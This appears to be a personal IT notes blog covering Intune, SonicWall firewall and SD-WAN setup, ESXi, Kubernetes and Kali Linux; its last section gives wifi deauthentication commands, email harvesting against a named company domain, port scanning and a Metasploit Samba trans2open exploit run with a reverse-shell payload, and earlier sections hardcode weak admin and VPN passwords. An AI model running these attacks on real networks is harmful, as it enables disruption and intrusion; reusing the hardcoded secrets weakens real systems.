Microsoft Intune – OneDrive sync enable

Enabling OneDrive Sync with Microsoft Intune

There are two main methods to enable OneDrive sync for users in your organization using Microsoft Intune:

Method 1: Deploying the OneDrive Sync App with Configuration Settings

This method involves creating a configuration profile in Intune that pushes the OneDrive sync app along with desired settings to user devices.

Here’s a step-by-step guide:

  1. Sign in to the Microsoft Intune Manager admin center (https://intune.microsoft.com/).
  2. Go to Devices > Configuration profiles > Create profile.
  3. Select Platform: Choose Windows 10 and later.
  4. Profile details: Enter a name and description for your profile.
  5. Configuration settings: Click Add settings and search for OneDrive.
  6. Configure OneDrive Settings: You’ll see various OneDrive settings you can configure, such as:
    • Silently sign in users to the OneDrive sync client with their Windows credentials (improves user experience)
    • Silently move known Windows folders to OneDrive (automatic cloud backup)
    • Specify the OneDrive folder location (custom location on the device)
    • Control OneDrive notifications (enable/disable specific notifications)
  7. Scope tags and Assignments: Assign the profile to the desired user groups or devices.
  8. Review + create: Review your configuration and create the profile.

Method 2: Using Intune to Manage Existing OneDrive Installations

If OneDrive is already pre-installed on user devices (common for Windows 10 and later), you can use Intune to manage its settings without deploying the entire app again.

Here’s how:

  1. Follow steps 1-3 from Method 1.
  2. Configuration settings: Click Add settings and search for OneDrive for Business. (Note the slight difference in naming convention)
  3. Configure OneDrive Settings: You’ll have similar settings to configure as in Method 1, but specific options might differ slightly.
  4. Follow steps 6-8 from Method 1 to complete profile creation and assignment.

Additional Notes:

  • These methods require an Intune subscription and configuration of the Azure Active Directory (AAD) connection.
  • Microsoft provides detailed documentation on configuring OneDrive settings with Intune: https://learn.microsoft.com/en-us/autopilot/
  • Consider using Intune’s built-in reporting features to monitor OneDrive sync status across your devices.

By following these steps, you can leverage Microsoft Intune to centrally manage OneDrive sync for your users, ensuring consistent configuration and potentially improving user experience.


Go to Intune Admin center: https://intune.microsoft.com/#view/Microsoft_Intune_DeviceSettings/DevicesMenu/~/configuration

Home->Devices->Configuration

Create a new Policy

After Policy creation completion Go to Devices -> Windows-> Select the computer name -> Sync

Microsoft Intune – Add local administrator account all devices

Create a new Device configuration file

Navigate to intune -> Home->Devices->Manage Devices->configuration 

Create a new Policies

Platform: Windows 10 and later

Profile Type: Template 

Select: Custom

Go to configuration settings

Add new row

Name: Admin

OMA-URI: 

./Device/Vendor/MSFT/Accounts/Users/Admin/Password

Data Type: String

Value: Lost@12345

Add one more raw for adding local admin group

Name: Adding admin group

OMA-URI: ./Device/Vendor/MSFT/Accounts/Users/Admin/LocalUserGroup

Data type: Integer

Value: 2

Save and apply to the configuration file to Device groups

Microsoft Intune – Autopilot Manually enrollment

Collecting hash value of device

Manually register devices for Windows Autopilot within your organization by collecting their hardware identities (hashes) and uploading them in a CSV file. However, this method requires booting the devices into Windows, making it suitable mainly for testing and evaluation purposes.

Run this PowerShell code on enrollment device

#Install-Script -Name Get-WindowsAutoPilotInfo -RequiredVersion 3.8

Set-ExecutionPolicy Unrestricted

New-Item -Type Directory -Path “C:\HWID”
Set-Location -Path “C:\HWID”

Get-WindowsAutoPilotInfo.ps1 -OutputFile RSSMachineHashes.csv

Copy csv file from that location C:\HWID and upload to Intune

Devices->Windows Devices->Windows enrollment->Devices->import CSV file

Select the device and Sync will update Intune configuration and compliance policies.

 

Enrolled device can setup out of box experience using any of below commands

#shutdown -s -t 0 

or

#systemreset

or

#sysprep

 

Sonicwall Firewall – All detailed configuration steps.

Here I’m talking about SonicWALL TZ670 Series firewall Entry Level Next-Generation Firewall.

The SonicWall TZ670 is the first desktop-form-factor next-generation firewall (NGFW) with 10 Gigabit Ethernet interfaces

Features of TZ670

  • 10 GbE interfaces in a desktop form factor
  • SD-Branch ready
  • Secure SD-WAN capability
  • SonicExpress App onboarding
  • Zero-Touch Deployment
  • Single-pane-of-glass-management through cloud or firewall
  • SonicWall Switch, SonicWave Access Point and Capture Client integration
  • Built-in and expandable storage
  • Redundant power
  • High port density
  • Cellular failover
  • SonicOS 7.0
  • TLS 1.3 support
  • Groundbreaking
  • performance
  • High connection count
  • Fast DPI performance
  • Low TCO

Register the Device

Registration: Go to https://cloud.sonicwall.com

You have to create a account on this site then go to My SonicWALL -My Workspace – Register Products – add all the details about the device serial number and authorization code from the back side of the box.

 

Depends on your license manage firewall on 3 ways. 1.Cloud, 2.On-Prem and 3.On-Box.

Always remember Maintenance key on the firewall – Incase required reboot the firewall on safe mode this code is required.

 

First connect device on LAN network and bootup firewall with default settings.

Default IP address: 192.168.168.168

Default username and Password: Admin / Admin

Now connect internet line on WAN port (X1).

Make sure that getting public ip address from WAN network.

 

Device Registration: login to Mysonicwall section using your Cloud login credentials.
Device /Settings / Licenses

Upgrade latest firmware from SonicWall site.

SonicOS version 7.0

On Device -> Fireware & local Backups -> Actions -> Boot updated firewire with current configuration.

Link Aggregation on Sonicwall

I have divided Lan network to Three Zones.

  1. Main LAN network
  2. Store network (Isolated from main network)
  3. Wifi Network ( Vlan supported and Guest wifi)

Dhcp IP scope for three zones:

Main network: 192.168.10.0

Store network: 172.16.0.0

Public Wifi Network: 10.10.10.0

Main network Zone already created with default ip range.

Store Network Zone Creation:

Go to Object -> Main Objects -> Zones

Custom Zone creation for isolation network interface from main network.
While creating zone disable all the default settings and put name and security type ” Trusted”

 

 

 

Zone creation for Public Guest wifi
Name: Guest wifi
Security type: Public
Disable all the below settings.

Network interface assign to Zones

Assign network interface X2 to Zone “The shop”
Go to -> Network -Add Interface -General Tab
Zone: The shop
Mode / IP assignment: Static IP mode
IP address: 172.16.0.1
Subnet Mask: 255.255.255.0
Default Gateway: 0.0.0.0
Only allow ping because don’t allow access to firewall from Store network.

 

Add Virtual interface for Wifi VLAN

Main network vlan: 100

Store network vlan: 200

Wifi netwrok vlan: 300

Assign Wireless Access point assigned to X3 port. Allow main network and store network access through vlan
Consider main network vlan: 100 and Store network Vlan: 200 for identification wireless network.
X3 port connect to Main network : First add virtual interface
Zone: Unassigned
Vlan Tag: 100
Parent interface: X3
Mode: Static IP Mode
IP address: NativeBride mode (Directly connected Main network and get ip address same)
Native Bridge To: X0 (Connect to X0 Lan interface)

Same for store network on above Allow Store network on Wireless using Vlan 200
Zone: unassigned
Vlan Tag: 200
Parent interface: X3
MOde: NativeBridge mode
Native Bridge To: X2 (Connect to X2 store network interface)

Guest Wifi Vlan 300 – Separated from all the network and different ip range
Add Virtual interface:
Zone: Guest wifi
Vlan Tag: 300
Parent interface: X3
Mode: Static IP Mode
IP address: 10.10.10.1
Subnet mask: 255.255.255.0
Default gateway: 0.0.0.0
Managment: Ping allow

Overall interface 

Set Dhcp server for Store and wifi network
Go to Dashboard- System- Dhcp server – DHCP Serer Lease Scopes- Add Dynamic range
General Tab- Interface Pre-Populate enable and select the the port X2 – Automatically get ip address range

Same steps for wifi- Add Dynamic range- Interface pre-populate enable and select X3

Overall Dhcp server lease scopes

Policy Allow internet connection

Policy must allow Shop and wifi network access to WAN network.
Dashboard -> Policy -> Select shop to Wan zone matrix – Add
Allow source(any) to Destination(any) address and save settings
Same like Wifi netowork create policy and allow all access.

Customer complain that internet is working then make sure check the policy section everything is allowed.

Security Features Must Turn on Firewall

  1. Gateway Anti-Virus
  2. Anti-Spyware
  3. IPS
  4. Botnet filter
  5. App Control
  6. Content filter
  7. DPI – SSL

Gateway Anti-virus

Policy -> Security Services -> Gateway Anti-Virus

Enable the Gateway Antivirus per zone

Object ->Match Objects ->Zones

Check Lan network check Gateway anti-virus enabled or not

Go to store zone – enable all security features
1. Enable Gateway Anti-Virus Service
2. Enable IPS
3. Enable Anti-Spyware Service
4. Enable App Control Service

Guest wifi network – Better don’t turn ON all the features because of its out of scope

Now to go to Policy -> Security Services -> Gateway Anti-Virus
Enable all the featues of Gateway Anti-Virus

Turn ON Anti-Spyware -> prevent and detect all enable


Enable IPS -> prevent and detect all enable


Turn on Botnet Filter -> Block connection and enable logging


Turn on App Control -> Block connection and enable logging

Signature tab -> View by Category -> P2P -> Enable block and Save

Enable Content Filter -> to configure go to Rules and Policies -> Content Filter Rules

Before creating this rules you should have profile and content action items are ready.

 

Checking Content filter profile -> Go to Object -> Profile Objects ->Content filter
Open that profile select category configuration -> Block approparate section
Advanced section – Enable https content filter traffic

Advanced section – Enable https content filter traffic

 

Editing block message go to Content filter Actions -> Action Object -> Contents filter Actions
Html page you choose to edit content and display
BWM – Bandwidth management

DPI-SSL enable client side ssl
encrypted ssl connection will inspect from firewall

 

SonicWall SD-WAN Configuration

SD-WAN (Software-Defined Wide Area Network) is a technology that uses Software-defined networking (SDN) concepts to provide software-based control over wide area network connection. It enables distributed organizations to build, operate and manage high-performance networks using readily-available, low-cost public Internet services. An alternative to more expensive technologies such as MPLS, Secure SD-WAN allows retailers, banks, manufacturers and other organizations to connect sites spread over great distances for the purpose of sharing data, applications and services. Features such as intelligent Failover, load balancing help ensure more consistent performance and availability of critical business and SaaS applications.

 

SonicOS SD-WAN offers these features:

  • Application-aware routing
  • Dynamic path selection based on Latency, jitter, and/or packet loss
  • User-defined thresholds for quality assessment
  • SD-WAN Interface Groups for WAN and VPN Numbered Tunnel Interface
  • Path Performance Probes for metrics
  • Connection-based traffic distribution
  • Automatic connection Failover over VPN
  • Provisioning and management (GMS and Capture Security Center)
  • Zero-Touch Deployment firewall configuration
  • Centralized management and policy configuration
  • Analytics

 

For Example, Consider we have two offices

  1. Main office 
  2. Remote office

Both office connected using SD-WAN Connection.

In Main office and Remote office we have following port configured Two WAN network and one VOIP connection.

Remote office firewall port connection
X1 (Blue)- 142.39.18.20
X2 (White)- 142.39.19.20
X3 (VOIP)- 172.16.7.0/24

Main office firewall port connection
X1 (Blue)- 142.39.18.30
X2 (White)- 142.39.19.30
X3 (VOIP)- 10.254.7.0/24

Now will configure Two vpn connection for fail over network.

  1. Blue vpn
  2. white vpn 

Create route based vpn on Remote office firewall – Blue VPN

Dashboard ->Network ->IPSec VPN ->Role and Settings ->Add

Policy type : Tunnel Interface

Authentication Method: IKE using preshared secret

Name: To Head office – Blue

IP Sec Primary Gateway Name or Address: 142.39.18.30

Shared Secret: lostlife@2020

Mark shared Secret: ON

Confirmed shared secreat: lostlife@2020

Local IKE ID: no changes

Peer IKE ID: no changes

Keep all settings same and no changes

SAVE

Remote office firewall – White VPN

Dashboard ->Network ->IPSec VPN ->Role and Settings ->Add

Policy type : Tunnel Interface

Authentication Method: IKE using preshared secret

Name: To Head office – White

IP Sec Primary Gateway Name or Address: 142.39.19.30

Shared Secret: lostlife@2020

Mark shared Secret: ON

Confirmed shared secreat: lostlife@2020

Local IKE ID: no changes

Peer IKE ID: no changes

Go to advanced -> VPN Policy bound to -> Interface X2

Keep all settings same and no changes

SAVE

 

Overall Two ISP connection configured to Head office via VPN.

 

Now Configure on Main office firewall.

Main office firewall – Blue VPN

Settings information.

Policy type : Tunnel Interface

Authentication Method: IKE using preshared secret

Name: To Remote office – Blue

IP Sec Primary Gateway Name or Address: 142.39.18.20

Shared Secret: lostlife@2020

Mark shared Secret: ON

Confirmed shared secreat: lostlife@2020

Local IKE ID: no changes

Peer IKE ID: no changes

Go to advanced -> Enable keep alive-> Off

If remote site is ON keep then main office firewall should off.

Save.

If remote site is ON keep Alive then main office firewall should off that setting.

 

Main office Firewall- White VPN

Policy type : Tunnel Interface

Authentication Method: IKE using preshared secret

Name: To Remote office – White

IP Sec Primary Gateway Name or Address: 142.39.19.20

Shared Secret: lostlife@2020

Mark shared Secret: ON

Confirmed shared secreat: lostlife@2020

Local IKE ID: no changes

Peer IKE ID: no changes

Go to advanced -> VPN Policy bound to -> Interface X2

Keep Alive -> OFF

Keep all settings same and no changes

SAVE

Overall connection in main office

 

Creating VPN interface in Main office firewall for Blue

Dashboard ->Network->Interface->Add interface ->Add VPN Tunnel Interface

interface settings

Zone: VPN

VPN Policy: To Remote office – Blue

Name: VPNBlue

Model: Static IP Mode

IP Address: 192.168.100.100

Subnet Mask: 255.255.255.0

Inteface MTU: Configured Automatically via VPN Policy

Save

Same for White interface in Main office firewall

Creating VPN Interface in Main office Firewall- White

Dashboard ->Network->Interface->Add interface ->Add VPN Tunnel Interface

interface settings

Zone: VPN

VPN Policy: To Remote office – White

Name: VPNWhite

Model: Static IP Mode

IP Address: 192.168.200.100

Subnet Mask: 255.255.255.0

Inteface MTU: Configured Automatically via VPN Policy

Save

Overall interface in Main office firewall.

 

Remote office VPN interface creation- Blue

Go to Network->interface->Add interface->VPN Tunnel Interface

Zone:VPN

VPN Policy: To Headoffice- Blue

Name: VPNBlue

Mode: Static IP Mode

IP Address: 192.168.100.101

Subnet Mask: 255.255.255.0

Remaining settings no changes.

Save

Remote office VPN interface creation- White

Go to Network->interface->Add interface->VPN Tunnel Interface

Zone:VPN

VPN Policy: To Headoffice- White

Name: VPNWhite

Mode: Static IP Mode

IP Address: 192.168.200.101

Subnet Mask: 255.255.255.0

Remaining settings no changes.

Save

Overall VPN interface in Remote firewall

 

SD-WAN – Making routing for two VPN

First Go to  Remote firewall and create SDWAN Group then add both vpn interface.

Network->SDWAN->Groups

Name: VPNs

Add: VPNBlue

ADd: VPNWhite

Save

NeXT

SLA Class object

Generating maximum latency and jitter from network.

in the example VOIP connection have some latency and jitter.

SDWAN->SLA Class Object-> Add

Name: Voip

Include latency: ON

Latency (ms): 100

Include jitter: ON

Jitter (ms): 30

SAVE

 

NEXT

Path selection Profiles

SDWAN->Path Selection Profiles->Add

Name: VOIP

SDWAN Group: VPNs

SLA Probe: VPN Probe -VPNs

SLA Class Object: VOIP

Backup Interface: VPNBlue

SAVE

Next

Rules

SDWAN->Rules->Add SDWAN Rules

Name: Voip

Source: X3 Subnet

Destination: Not created then create Address object

 

 

Now same step on main office firewall

Creating SD WAN Group on main office 

SDWAN Groups

SDWAN->SD-WAN Groups- > Add

Both vpn on a group: VPNs

Performance class object 

SDWAN->Performance class object->Add

Path Selection Profiles

SDWAN->Path selection Profiles->Add

SD-WAN Route Policy

SDWAN->SDWAN Route Policies->Add

Create new address object

That’s all routing on Main office firewall SD WAN.

Now VPN connection VOIP up and running.

 

Date and Time stamp on bulk of photos

Today i have faced issue on number of photos adding date and time on the bottom line,  After so many research online found this solutions worked.

FastStone Image Viewer

Using this freeware software you can do it fast way to add time stamp.

Firstly move all photos to one folder then open faststone image viewer software.

Choose the image folder then select all photos after that press the tools tab on the top.

->Tools ->Batch convert selected images -> Advanced options -> Text -> Remove current text and then select -> insert a variable -> File dateandtime ($D1)-> OK ->choose correct format and output destination folder -> Convert

You can find the photos on output folder with time stamped each photos.

iTunes backup iPhone XR on external HDD

I have facing issue on my laptop have small storage space. So i can not take 128gb size iPhone backup on local drive. Here this step to take iPhone backup on external drive.

I have connected external hard-disc on laptop and make junction created on both side using power-shell.

Open Powers-Shell and go to iTunes default back location.

Path c:\user\admin\Apple\MobileSync>

cmd /c mklink /J “c:\Users\admin.GEMINIGROUPS\Apple\MobileSync\Backup” “F:\iPhone Backup\iTunes backup”

After entering this command, link will create on backup location.

Here below video will helpful

Vmware ESXi 5.5 installation on Dell Optiplex desktop

After successfully installation on ESXi server i would like to share my experience here.

Fixed error : nfs4lclient failed to load.

List of tools required for configure ESXi server on Dell Optiplex 3020

1. Vmware ESXi 5.5 iso image – Download from this link

2. Network card driver – Download from this link

3. ESXi customizer for rebuild iso image – Download from this link

4. Refus tool to make iso file bootable usb drive – Download from this link

if your facing error on ESXi customizer tool under window 10 machine. you need to change settings from ESXi-Customizer.cmd open with notepad then change line add REM on beginning.


REM if “!WinVer!” LSS “5.1” call :earlyFatal Unsupported Windows Version: !WinVer!. At least Windows XP is required & exit /b 1

Working network card VIB file can be download from this link

Download iso image from this link

Final bootable usb iso image can download from this link

Important notes – if your not getting ip address from dhcp server make sure change bios settings – boot from network first priority.

Kali Linux – Study

Installation of VLC player

#apt install vlc

#apt-get install gsettings-desktop-schemas

#apt-get update

Kali linux hidden file find

#ls -la

Show current directory

#pwd

Creating new file

#touch file.txt

Remove file

#rm file.txt

Creating new folder

#mkdir Data

Remove directory folder

#rm Data -r

Display current login user

#whoami

Executable access file

#chmod +x program.py

Fix access readonly error Editing sources.list

#sudo nano /etc/apt/sources.list

Kubernetes useful commands

Today started to learn new latest container technology Kubernetes and How this works on cloud and local systems.

MiniKube is the smaller version kubernets on your localsystem. Installation: Download virutal box and install on windows 10 system.

Open power-shell and install required tools : chocolatey and minikube

PS:C:\minikube> iex ((New-Object System.Net.WebClient).DownloadString(‘https://chocolatey.org/install.ps1’))

PS:C:\minikube> choco install virtualbox -y

PS:C:\minikube> choco install minikube -y

PS:C:\minikube> choco install minikube –version 1.10.1 -y

PS:C:\minikube> minikube start –driver=virtualbox –alsologtostderr

PS:C:\minikube> minikube status

if you facing any issue on installation then delete minikube and install again

PS:C:\minikube> minikube delete ( repeat above step to install minikube)

PS:C:\minikube> minikube dashboard

http://127.0.0.1:55467/api/v1/namespaces/kubernetes-dashboard/services/http:kubernetes-dashboard:/proxy/#/pod?namespace=default

Pods

Pods are essential parts on kubernetes

PS:C:\minikube> kubectl get all (checking current running pods)

Below Sample Pod yaml format


apiVersion: v1
kind: Pod
metadata:
name: webapp

labels:
app: webapp
release: “0”
spec:
containers:

name: webapp
image: richardchesterwood/k8s-fleetman-webapp-angular:release0


Save this on first-pod.yaml on same directory

PS:C:/minikube> kubectl apply -f first-pod.yaml (apply new pod created)

PS:C:/minikube> kubectl get all (check the pod running status)

Note: Pod not visible outside kubernetes cluster without expose ports.

PS:C:\minikube> minikube ip (finding IP address for minikube)

PS:C:\minikube> kubectl describe pod webapp (view details webapp pods)

PS:C:\minikube> kubectly exec webapp — ls (list of files inside pod)

Services

Services are stable on kubernets and its connected to pods.

Pods using labels / service using selector (match both key value pair)

ClusterIP — This service access internal only

NodePort — Expose port through the node to the outside access

kubernetes recommend Node-Port number greater than 30,000

Below sample service yaml format


apiVersion: v1
kind: Service
metadata:
name: fleetman-webapp

spec:
# This defines which pods are going to be represented by this Service
# The service becomes a network endpoint for either other services
# or maybe external users to connect to (eg browser)
selector:
app: webapp
release: “0”

ports:
– name: http
port: 80
nodePort: 30080

type: NodePort


Save this file as a “webapp-service.yaml” on the same directory

PS:C:\minikube> kubectl apply -f webapp-service.yaml (apply service to cluster whenever new update on code)

PS:C:\minikube> kubectl get all (check the status)

PS:C:\minikube> minikube ip (note it down ip address)

Access from browser url: http://192.168.99.102:30080/

We can add multiple pod on same yaml file using three dot separator(—)

Release: “0” – use this method to avoid down time loading images

PS:C:\minikube> kubectl describe svc fleeman-webapp (check the selector and release connected appropriate pod)

PS:C:\minikube> kubectl get pods (shows list of pods)

PS:C:\minikube> kubectl get po –show-labels (shows pods with labels)

PS:C:\minikube>kubectl get po –show-labels -l release=0 (with release)

PS:C:\minikube> kubectl apply -f . (apply all yaml file update)

PS:C:\minikube> kubectl delete po webapp-release (delete pod)

PS:C:\minikube> kubectl delete svc webapp-release (delete service)

PS:C:\minikube> kubectl delete po — (delete all pods)

ReplicaSets

Below sample ReplicaSets format


apiVersion: apps/v1
kind: ReplicaSet
metadata:
name: webapp
spec:
selector:
matchLabels:
app: webapp
replicas: 2
template: # template for the pods
metadata:
labels:
app: webapp
spec:
containers:
– name: webapp
image: richardchesterwood/k8s-fleetman-webapp-angular:release0-5


PS:C:\minikube> kubectl get all (list of running pods)

PS:C:\minikube> kubectl delete po –all (delete all pods)

PS:C:\minikube>kubectl describe replicaset webapp (information about replicaset)

PS:C:\minikube> kubectl describe rs webapp ( short code of replicaset)

PS:C:\minikube> kubectl delete rs webapp (Delete replicaset)

Depolyments

Deployment can be roll back to previous stage when failure happen.

Rolling update and Zero downtime using replicaset on this yaml file.

Below Sample Deployment yaml format


apiVersion: apps/v1
kind: Deployment
metadata:
name: webapp
spec:
# minReadySeconds: 30
selector:
matchLabels:
app: webapp
replicas: 2
template: # template for the pods
metadata:
labels:
app: webapp
spec:
containers:
– name: webapp
image: richardchesterwood/k8s-fleetman-webapp-angular:release0-5


PS:C:\minikube> kubectl rollout status deploy webapp (status for rollout)

PS:C:\minikube> kubectl rollout history deploy webapp (history of deployment)

PS:C:\minikube> kubectl rollout undo deploy webapp (revision return old version deployment)

Kubernetes can remember last 10 revision history.

Rollback feature use only in emergency stage.

Networking and Service Discovery

PS:C:\minikube> kubectl get namespace (shows namespace)

PS:C:\minikube> kubectl get pod (shows pods in the default namespace)

PS:C:\minikube> kubectl get pods -n kube-system (shows pods running on kube-system namespace)

PS:C:\minikube> kubectl get all -n kube-system (list of all services and pods running on kube-system pod)

PS:C:\minikube> kubectl describe svc kube-dns -n kube-system (service on namespace check)

Sample yaml file format mysql database connect with pods


apiVersion: v1
kind: Pod
metadata:
name: mysql
labels:
app: mysql
spec:
containers:name: mysql image: mysql:5 env: # Use secret in real life

name: MYSQL_ROOT_PASSWORD
value: password

name: MYSQL_DATABASE

value: fleetman

kind: Service
apiVersion: v1
metadata:
name: database
spec:
selector:
app: mysql
ports:

port: 3306
type: ClusterIP


Kali Linux – Hacking methods Full

How to login as root user

# sudo su

How to change wifi to monitor mode – wlan0mon

root# ifconfig wlan0 down

root# iwconfig wlan0 mode monitor

root# ifconfig wlan0 up

root# airmon-ng check kill

root# airmon-ng start wlan0

root# ifconfig wlan0mon up

How to disable monitor mode to managed mode

root# ifconfig wlan0mon down

root# iwconfig wlan0mon mode managed

root# ifconfig wlan0mon up

root# sudo airmon-ng stop wlan0mon

root# service network-manager start

Reboot the kali linux system

How to change MAC Address on Linux Machine

root# ifconfig

root# ifconfig wlan0 down

root# ifconfig wlan0 hw ether 00:11:22:33:44:55

root# ifconfig wlan0 up

How to disconnect or Deauthenticating device from wifi network using linux command

root# airodump-ng –band a wlan0mon (finding target wifi network MAC Address and channel note it)

root# airodump-ng mon0 (finding target wifi network MAC Address and channel)

root# airodump-ng – -channel 11 – -bssid 64:7C:34:A4:BB:B2 mon0 (finding list target machine mac address on this list)

For example wifi MAC address: 64:7C:34:A4:BB:B2 and Targe pc MAC address: 00:11:22:33:44:55

root# aireplay-ng –deauth 10000 -a 64:7C:34:A4:BB:B2 -c 00:11:22:33:44:55 mon0

How to stop Aireplay-ng running process command

root# killall aireplay-ng

root# jobs (finding list of running jobs and note on id number)

root# kill %1

How to disconnect all device from Wifi Network using linux command Aireplay-ng

root# airodump-ng wlan0mon (finding target wifi network MAC Address and channel)

for example Target access point MAC address:64:7C:34:A4:BB:B2

root# aireplay-ng – -deauth 1000000 -a 64:7C:34:A4:BB:B2 wlan0mon

If error come from different channel then do airodump-ng find correct channel to fix this error

root# airodump-ng – -bssid 64:7C:34:A4:BB:B2 – -channel 11 wlan0mon

root# aireplay-ng – -deauth 1000000 -a 64:7C:34:A4:BB:B2 wlan0mon

How to find hidden network SSID name

using airodump-ng will find list of network. After that deauthentication method to disconnect one of client machine. Then client machine will sent hidden network information to air. Using airodump-ng will capture that hidden network name.

Finding list of network using airdoump-ng

root# airodump-ng wlan0mon

list will find hidden network without ESSID name, take note it on mac address and Channel.

for example hidden network mac address:11:22:33:44:55:66 and channel 6

root# airodump-ng –bssid 11:22:33:44:55:66 –channel 6 wlan0mon

above code will display list client connected on hidden nework. keep run above session ,Don’t disconnect this process meanwhile separate window open and run deauthentication method remove client connected on hidden network.

For example client mac address: 55:44:33:22:11

root# aireplay-ng –deauth 4 -a 11:22:33:44:55:66 -c 55:44:33:22:11 wlan0mon

now will disconnect client from hidden network and SSID name show to airodump-ng screen.

How to check wifi wlan0 on monitor mode or managed mode

root# iwconfig

Find company and employee email address

root@kali:~# theHarvester -d geminigroup.co -l 500 -b google

Find sub domain on any website user Sublist3r

Download from : git clone https://github.com/aboul3la/Sublist3r.git

Sublist3r# python3 sublist3r.py -b -d testwebsite.com

root# sublist3r -d sukheshcstest.com

website for finding subdomain : https://crt.sh/

Finding website back-end technology details

root# whatweb sukheshcs.com

Use firefox extension: wappalyzer

Using Burp Suite software: Set manual network proxy on firefox : 127.0.0.1 port 8080 – use this proxy server for all protocols

open firefox go to webiste and download CA certificate: https://burp/

Import CA certificate on firefox – privacy&security – view certificate -Autorities session- import certificate

Burpsuite proxy tab – start intercept

Finding IP Address and mac address on local area network

root# netdiscover -r 192.168.1.0/24

Scan vulnerability on webpage

root# nikto -h http://google.com

Samba server SMB login on Kali

root# smbclient -L \\\192.168.1.80\\

Port scan method

root# masscan -pl-65535 –rate 192.168.57.134

root# nmap -T4 -p- 192.168.57.134

root# nmap -T4 -p 22,80,110,139,443,32768 -A 192.168.1.57.134

Port scan with Metasploit

root# msfconsole

root# search portscan

msf5 > search portscan

# Name Disclosure Date Rank Check Description


0 auxiliary/scanner/http/wordpress_pingback_access normal No WordPress Pingback Locator
1 auxiliary/scanner/natpmp/natpmp_portscan normal No NAT-PMP External Port Scanner
2 auxiliary/scanner/portscan/ack normal No TCP ACK Firewall Scanner
3 auxiliary/scanner/portscan/ftpbounce normal No FTP Bounce Port Scanner
4 auxiliary/scanner/portscan/syn normal No TCP SYN Port Scanner
5 auxiliary/scanner/portscan/tcp normal No TCP Port Scanner
6 auxiliary/scanner/portscan/xmas normal No TCP “XMas” Port Scanner
7 auxiliary/scanner/sap/sap_router_portscanner normal No SAPRouter Port Scanner

Interact with a module by name or index, for example use 7 or use auxiliary/scanner/sap/sap_router_portscanner

msf5 > use 4
msf5 auxiliary(scanner/portscan/syn) > set rhosts 192.168.57.134
rhosts => 192.168.57.134
msf5 auxiliary(scanner/portscan/syn) > set ports 1-65535
ports => 1-65535
msf5 auxiliary(scanner/portscan/syn) > run

Port scan with Nessus

Download nessus from : https://www.tenable.com/downloads/nessus?loginAttempted=true

root# dpkg -i Nessus-8.12.0-ubuntu910_amd64.deb

You can start Nessus Scanner by typing /bin/systemctl start nessusd.service

Then go to https://kali:8834/ to configure your scanner

root# /bin/systemctl start nessusd.service

start scan port on web based nessess tool

Search samba Exploit on Kali- trans2open

Target pc ip address: 192.168.136.129

root@kali:~# searchsploit samba 2.2


Exploit Title | Path


Samba 2.0.x/2.2 – Arbitrary File Creatio | unix/remote/20968.txt
Samba 2.2.0 < 2.2.8 (OSX) – trans2open O | osx/remote/9924.rb
Samba 2.2.2 < 2.2.6 – ‘nttrans’ Remote B | linux/remote/16321.rb
Samba 2.2.8 (BSD x86) – ‘trans2open’ Rem | bsd_x86/remote/16880.rb
Samba 2.2.8 (Linux Kernel 2.6 / Debian / | linux/local/23674.txt
Samba 2.2.8 (Linux x86) – ‘trans2open’ R | linux_x86/remote/16861.rb
Samba 2.2.8 (OSX/PPC) – ‘trans2open’ Rem | osx_ppc/remote/16876.rb
Samba 2.2.8 (Solaris SPARC) – ‘trans2ope | solaris_sparc/remote/16330.rb
Samba 2.2.8 – Brute Force Method Remote | linux/remote/55.c
Samba 2.2.x – ‘call_trans2open’ Remote B | unix/remote/22468.c
Samba 2.2.x – ‘call_trans2open’ Remote B | unix/remote/22469.c
Samba 2.2.x – ‘call_trans2open’ Remote B | unix/remote/22470.c
Samba 2.2.x – ‘call_trans2open’ Remote B | unix/remote/22471.txt
Samba 2.2.x – ‘nttrans’ Remote Overflow | linux/remote/9936.rb
Samba 2.2.x – CIFS/9000 Server A.01.x Pa | unix/remote/22356.c
Samba 2.2.x – Remote Buffer Overflow | linux/remote/7.pl
Samba < 2.2.8 (Linux/BSD) – Remote Code | multiple/remote/10.c
Samba < 2.2.8 (Linux/BSD) – Remote Code | multiple/remote/10.c
Samba < 3.0.20 – Remote Heap Overflow | linux/remote/7701.txt
Samba < 3.6.2 (x86) – Denial of Service | linux_x86/dos/36741.py


root@kali:~# msfconsole

msf5 > search trans2open

# Name Disclosure Date Rank Check Description


0 exploit/freebsd/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (*BSD x86)
1 exploit/linux/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Linux x86)
2 exploit/osx/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Mac OS X PPC)
3 exploit/solaris/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Solaris SPARC)

Interact with a module by name or index, for example use 3 or use exploit/solaris/samba/trans2open

msf5 > use 1

msf5 exploit(linux/samba/trans2open) > options

Module options (exploit/linux/samba/trans2open):

Name Current Setting Required Description
—- ————— ——– ———–
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax ‘file:’
RPORT 139 yes The target port (TCP)

Payload options (linux/x86/meterpreter/reverse_tcp):

Name Current Setting Required Description
—- ————— ——– ———–
LHOST 192.168.136.128 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:

Id Name
— —-
0 Samba 2.2.x – Bruteforce

msf5 exploit(linux/samba/trans2open) > set rhosts 192.168.136.129
rhosts => 192.168.136.129

msf5 exploit(linux/samba/trans2open) > set payload linux/x86/ ( double Tab button press to show all options)
set payload linux/x86/adduser set payload linux/x86/shell/bind_ipv6_tcp
set payload linux/x86/chmod set payload linux/x86/shell/bind_ipv6_tcp_uuid
set payload linux/x86/exec set payload linux/x86/shell/bind_nonx_tcp
set payload linux/x86/meterpreter/bind_ipv6_tcp set payload linux/x86/shell/bind_tcp
set payload linux/x86/meterpreter/bind_ipv6_tcp_uuid set payload linux/x86/shell/bind_tcp_uuid
set payload linux/x86/meterpreter/bind_nonx_tcp set payload linux/x86/shell/reverse_ipv6_tcp
set payload linux/x86/meterpreter/bind_tcp set payload linux/x86/shell/reverse_nonx_tcp
set payload linux/x86/meterpreter/bind_tcp_uuid set payload linux/x86/shell/reverse_tcp
set payload linux/x86/meterpreter/reverse_ipv6_tcp set payload linux/x86/shell/reverse_tcp_uuid
set payload linux/x86/meterpreter/reverse_nonx_tcp set payload linux/x86/shell_bind_ipv6_tcp
set payload linux/x86/meterpreter/reverse_tcp set payload linux/x86/shell_bind_tcp
set payload linux/x86/meterpreter/reverse_tcp_uuid set payload linux/x86/shell_bind_tcp_random_port
